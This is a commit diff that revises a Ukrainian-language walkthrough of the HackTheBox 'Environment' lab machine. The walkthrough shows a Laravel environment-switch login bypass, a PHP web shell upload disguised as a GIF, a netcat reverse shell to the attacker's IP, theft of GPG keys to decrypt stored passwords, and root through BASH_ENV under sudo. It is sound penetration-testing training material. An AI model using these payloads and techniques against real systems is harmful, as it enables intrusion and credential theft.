update writeup

This commit is contained in:
2025-09-14 14:22:46 +03:00
parent e100b4e58e
commit af6a25c919
2 changed files with 67 additions and 48 deletions

View File

@@ -2,27 +2,26 @@
## Про Environment
`Environment` — це машина Linux середньої складності. Початковий
пункт передбачає використання
`Environment` — це машина Linux середньої складності. Початкова експлуатація передбачає використання
[CVE-2024-52301](https://nvd.nist.gov/vuln/detail/CVE-2024-52301), що
дозволяє маніпулювати середовищем за допомогою параметра `--env`, обходячи
дозволяє маніпулювати середовищем веб додатку за допомогою параметра `--env`, обходячи
функцію входу в систему. З панелі управління
[CVE-2024-2154](https://nvd.nist.gov/vuln/detail/CVE-2024-2154) використовується
для завантаження веб-оболонки `PHP`, вбудованої в зображення профілю,
що дає гравцеві точку опори через виконання команд. На
для завантаження веб-шеллу `PHP`, вбудований в зображення профілю,
що дає атакуючому дочтуп до системи через виконання команд. На
скомпрометованій системі можна знайти відкриті ключі `GPG` разом із
зашифрованою резервною копією. Розшифровані дані містять дійсні паролі користувачів,
що дає можливість доступу через `SSH`. Підвищення привілеїв досягається за допомогою
дозволів sudo. Користувач може виконувати скрипт з підвищеними
привілеями. Хоча сам скрипт є нешкідливим, змінна середовища `BASH_ENV`
зберігається під час підвищення привілеїв, що
дозволяє виконувати довільні команди як root.
дозволяє виконувати довільні команди від користувача root.
**Посилання на лабу:** https://app.hackthebox.com/machines/659
## Початкове сканування
Перше, що я люблю робити, це сканувати ціль за допомогою nmap для відкритих портів і дізнатись, які технології використовує машина:
Перше, що я люблю робити - сканувати ціль за допомогою `nmap` для відкритих портів і дізнатись, які технології використовує машина:
```bash
nmap -Pn -p- --min-rate 2000 -sC -sV -vv -oA nmap/environment 10.129.135.179
@@ -42,7 +41,7 @@ PORT STATE SERVICE REASON VERSION
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
Nmap сканування показує відкриті ssh і http порти. SSH має версію 9.2p1, а HTTP бекенд - nginx 1.22.1. Версія SSH вразлива до CVE-2024-6387 (regreSSHion), але я не думаю, що це шлях для експлуатації поки що, бо для експлуатації цієї вразливості потрібно буде чекати приблизно 6-8 годин, щоб отримати віддалений шелл. Думаю, я можу зробити це швидше ;)
Nmap сканування показує відкриті ssh і http порти. SSH має версію 9.2p1, а HTTP бекенд - nginx 1.22.1. Версія SSH вразлива до CVE-2024-6387 (regreSSHion), але я не думаю, що це шлях до експлуатації, бо для успішного виконання poc потрібно буде чекати приблизно 6-8 годин, щоб отримати віддалений шелл. Думаю, я можу зробити це швидше ;)
Наш таргет має доменне ім'я environment.htb, яке потрібно додати до нашого /etc/hosts файлу для доступу до порту 80.
@@ -52,11 +51,11 @@ echo "10.129.135.179 environment.htb" | sudo tee -a /etc/hosts
## Вебсайт на 80 порту
Після доступу до http://environment.htb/ ми потрапляємо на простий веб-сайт:
Після того як перейшли на http://environment.htb/ ми потрапляємо на простий сайт:
![image](imgs/environment.png "environment.htb")
Після вивчення веб-сайту та його вихідного коду я помітив, що функціонал розсилки поштою має якусь робочу функціональність, що незвично для таких лаб. Також є CSRF токен в input тегу, який декодується в незрозумілий рядок за допомогою base64:
Після вивчення сайту та його вихідного коду я помітив, що функціонал розсилки поштою має якусь робочу функціональність, що незвично для таких лабок. Також є CSRF токен в input тегу, який декодується в незрозумілий рядок за допомогою base64:
```html
<input type="hidden" name="_token" value="eQJKKZTGRTUtoOwXR1Sr9ysqHfNSDxt3qLLJBa6r" autocomplete="off">
@@ -67,7 +66,7 @@ echo "eQJKKZTGRTUtoOwXR1Sr9ysqHfNSDxt3qLLJBa6r" | base64 -d
yJ)E5-GT+*R
```
Але нічого особливого. Щоб не витрачати час, я спробую пошукати субдомени і приховані директорії на цілі, поки розглядаю функціональність розсилки поштою в BurpSuite.
Але поки що нічого особливого. Щоб не витрачати час, я спробую пошукати субдомени і приховані директорії на цілі, поки розглядаю функціональність розсилки поштою в BurpSuite.
Для фазингу субдоменів я використаю ffuf зі словником від seclists:
@@ -94,15 +93,15 @@ vendor [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 4
upload [Status: 405, Size: 244869, Words: 46159, Lines: 2576, Duration: 794ms]
```
Я знайшов кілька цікавих ендпоінтів, таких як login, upload, storage, mailing.
Тут я знайшов кілька цікавих ендпоінтів, таких як login, upload, storage, mailing.
Використовуючи розширення Wappalyzer в браузері, я можу перевірити, що веб-сайт використовує PHP і Laravel.
Спроба доступу до `http://environment.htb/upload` або `http://environment.htb/mailing` показує нам версію PHP (8.2.28) і Laravel (11.30.0), а також повідомлення про помилку, яке вказує, що ми можемо надсилати лише POST запити до цих ендпоінтів
Спроба доступу до `http://environment.htb/upload` або `http://environment.htb/mailing` показує нам версію PHP (8.2.28) і Laravel (11.30.0), а також повідомлення про помилку, яке вказує, що ми можемо надсилати лише POST запити до цих ендпоінтів:
Ця сторінка помилки також розкриває деякий внутрішній код, що означає, що додаток працює в **режимі дебагу:**
![image](imgs/error-laravel.png)
Ця сторінка помилки також розкриває деякий внутрішній бекенд код, що означає, що додаток працює в **режимі дебагу**.
Використовуючи розширення Wappalyzer в браузері, я можу ппідтвердити, що веб-сайт використовує PHP і Laravel.
## Дослідження вразливостей і експлуатація
@@ -110,13 +109,15 @@ upload [Status: 405, Size: 244869, Words: 46159, Lines: 2576, D
Але поки що це здається марним, оскільки наш додаток уже в стані дебагу.
Також здається, що Laravel 11.30.0 вразливий до reflected XSS в режимі дебагу, [CVE-2024-13918](https://nvd.nist.gov/vuln/detail/CVE-2024-13918), але це не корисно для нашого випадку, оскільки у нас немає жертви для атаки.
Також здається, що Laravel 11.30.0 вразливий до reflected XSS (only in debug mode), [CVE-2024-13918](https://nvd.nist.gov/vuln/detail/CVE-2024-13918), але це не корисно для нашого випадку, оскільки у нас немає жертви для атаки.
Після гри з параметрами на login ендпоінті, я зміг розкрити деякий вихідний код бекенду, тому що додаток в режимі дебагу:
### Гра з параметрами на login endpoint
Якщо модифікувати на `http://environment.htb/login` параметри в тілі POST запиту можна отримати різні типи помилок залежно від параметрів, які ми змінюємо:
![image](imgs/login-debug.png)
Після видалення будь-якого значення з `remember` параметра в тілі запиту розкриває деяке додаткове середовище додатку, ймовірно призначене для використання розробниками:
Після видалення будь-якого значення з параметру `remember` в тілі запиту, бекенд розкриває деяке додаткове середовище додатку, `preprod`, призначене для використання розробниками:
```php
if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
@@ -126,9 +127,13 @@ if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/p
}
```
Тепер ми можемо підключити нашу [CVE-2024-52301](https://nvd.nist.gov/vuln/detail/CVE-2024-52301), щоб змінити середовище і зайти на ендпоінт (`/management/dashboard`), до якого ми не повинні мати доступу.
### Бекдор, який залишили самі розробники
Згідно цьому [PoC](https://github.com/Nyamort/CVE-2024-52301), ми можемо надіслати такий запит до login ендпоінту для активації preprod середовища:
Отакої, сам розробник залишив бекдор для нас! Дуже мило з його сторони!
Тепер ми можемо підключити нашу [CVE-2024-52301](https://nvd.nist.gov/vuln/detail/CVE-2024-52301), щоб змінити середовище на `preprod` і зайти на ендпоінт (`/management/dashboard`), до якого ми не повинні мати доступу.
Згідно цьому [PoC](https://github.com/Nyamort/CVE-2024-52301), ми можемо додати `?--env=preprod` в кінці POST запиту на login ендпоінт для активації preprod середовища:
```http
POST /login?--env=preprod HTTP/1.1
@@ -149,7 +154,7 @@ Connection: keep-alive
_token=REgoc9V6MU0xdUsJMbSBVygImoZg0AgDh0KY4X7A&email=admin%40environment.htb,attacker%40environment.htb&password=admin%27&remember=False
```
Після відправлення його в Burp потрібно натиснути на `Show response in browser`, щоб бути перенаправленим на `environment.htb/management/dashboard`
Після відправлення запиту в Burp потрібно натиснути на `Show response in browser`, щоб бути перенаправленим на `environment.htb/management/dashboard`
![image](imgs/burp-preprod.png)
@@ -165,10 +170,11 @@ _token=REgoc9V6MU0xdUsJMbSBVygImoZg0AgDh0KY4X7A&email=admin%40environment.htb,at
Тому нам потрібно знайти спосіб обійти ці перевірки і якось завантажити наш шелл.
## Завантаження php reverse shell
### Завантаження php reverse shell
Я використаю цей сайт з різним набором віддалених шеллів під різні мови: https://www.revshells.com/
В даному випадку оскільки сайт працює на PHP, я вибрав собі такий:
```php
<html>
<body>
@@ -189,9 +195,9 @@ _token=REgoc9V6MU0xdUsJMbSBVygImoZg0AgDh0KY4X7A&email=admin%40environment.htb,at
</html>
```
Бекенд ймовірно має погану regex перевірку параметра filename, тому що я зміг завантажити файл з назвою `index.gif.php.` з PHP cmd шелом всередині і magic bytes в запиті для обходу перевірки типу MIME.
Бекенд ймовірно має погану regex перевірку параметра filename, тому що я зміг завантажити файл з назвою `index.gif.php.` з крапкою в кінці, PHP cmd шелом всередині і magic bytes в запиті для обходу перевірки типу MIME.
Для того, щоб обійти перевірку на magic bytes достатньо просто додати перед нашим шеллом рядок `GIF87a` для типу файлів gif, та, також, додати крапку в кінці назви файлу, яка обрізається на сервер-стороні й перетворюється на звичайний `index.gif.php`
Для того, щоб обійти перевірку на magic bytes достатньо просто додати перед нашим шеллом рядок `GIF87a` для типу файлів gif, та, також, додати крапку в кінці назви файлу, яка обрізається на стороні серверу й перетворюється на звичайний `index.gif.php`
```http
POST /upload HTTP/1.1
@@ -255,14 +261,14 @@ GIF87a
rlwrap nc -lvnp 1337
```
2. На нашому завантаженому PHP cmd шелі надіслати будь-який шел під лінукс, що вказуватиме на наш ip:
2. На нашому завантаженому PHP cmd шелі надіслати будь-який шел під лінукс, що вказуватиме на наш IP:
```bash
busybox nc 10.10.14.53 1337 -e sh
```
![image](imgs/revshell.png)
3. Я люблю отримувати постійний інтерактивний шел, який не втратить з'єднання через деякий час, тому я використаю цей набір команд для його отримання:
3. Я люблю отримувати постійний інтерактивний шел, який не втратить з'єднання через деякий час, тому я використаю цей набір команд після отримання зворотнього з'єднання на нашій машинці:
```bash
# Після отримання віддаленого з'єднання на netcat на нашій машині:
python3 -c 'import pty; pty.spawn("/bin/bash")'
@@ -290,7 +296,7 @@ hish:x:1000:1000:hish,,,:/home/hish:/bin/bash
Після перегляду `/etc/passwd` (файл, що містить всіх користувачів, що існують в unix системах) ми можемо здогадатися, що нам потрібно буде отримати доступ до користувача hish, а потім експлуатувати наш шлях до root:
`www-data -> hish -> root`
### Розвідка
## Перевірка файлів під www-data користувачем
Для початку нам потрібно перевірити будь-які критичні файли, які можуть містити інформацію про пароль hish (такі як логи, бази даних).
@@ -353,7 +359,7 @@ drwxr-xr-x 2 hish hish 4096 Jan 12 2025 backup
-rw-r--r-- 1 root hish 33 Sep 5 04:00 user.txt
```
Дивлячись на директорію backup, ми бачимо файл `keyvault.gpg`, який можемо спробувати дешифрувати за допомогою GPG. Але ми не зможемо просто це зробити використовуючи `gpg -d keyvault.gpg`:
Дивлячись на директорію backup, ми бачимо файл `keyvault.gpg`, який можемо спробувати дешифрувати за допомогою GPG. Але просто використовуючи `gpg -d keyvault.gpg` в нас не вийде:
```bash
www-data@environment:/home/hish$ ls -la backup/
@@ -371,7 +377,7 @@ gpg: Fatal: can't create directory '/var/www/.gnupg': Permission denied
тому що у нас немає дозволу створювати файли як користувач www-data в /var/www.
Тому нам потрібно скопіювати keyvault.gpg і .gnupg директорію hish з їхніми приватними ключами в директорію, де у нас є права на запис. Я використаю /tmp для цього:
Тому нам потрібно скопіювати `keyvault.gpg` і `.gnupg` директорію hish з їхніми приватними ключами в директорію, де у нас є права на запис. Я використаю `/tmp` для цього:
```bash
www-data@environment:$ cd /tmp
@@ -418,7 +424,9 @@ uid=1000(hish) gid=1000(hish) groups=1000(hish),24(cdrom),25(floppy),29(audio),3
## Ескалація привілеїв root
Ця програма насправді простий bash скрипт:
Дивлячись на вивід команди `sudo -l`, можна побачити, що ми можемо запускати деяку програму `systeminfo` як користувач root
Ця програма насправді простий самописаний bash скрипт:
```bash
hish@environment:~$ cat /usr/bin/systeminfo
@@ -442,7 +450,7 @@ echo -e "\n### Checking disk usage for all filesystems ###"
df -h
```
Тут я втратив трохи часу, думаючи де або як ми можемо перехопити виконання цих команд, оскільки вони працюють як root. Але після перевірки `sudo -l` знову, я бачу, що пропустив важливе `env_keep+="ENV BASH_ENV"`. Це в основному означає, що ми можемо перезаписати внутрішню змінну середовища bash, тому коли ми викликаємо `/usr/bin/systeminfo`, ми можемо передати нашу власну змінну зі шляхом до зловмисного скрипту, який отримає root шел при спробі виконати bash бінарник.
Тут я втратив трохи часу, думаючи де або як ми можемо перехопити виконання цих команд, оскільки вони працюють з привілеями root. Але після перевірки `sudo -l` знову, я бачу, що пропустив важливе `env_keep+="ENV BASH_ENV"`. Якщо коротко, це означає, що ми можемо перезаписати внутрішню змінну середовища bash, тому коли ми викликаємо `/usr/bin/systeminfo`, ми можемо передати нашу власну змінну зі шляхом до зловмисного скрипту, який отримає root шел при спробі виконати bash бінарник.
### BASH_ENV
@@ -487,4 +495,5 @@ root-bash-5.2# cat root.txt
root-bash-5.2#
```
От і все!
Ми успішно отримали root шел в системі!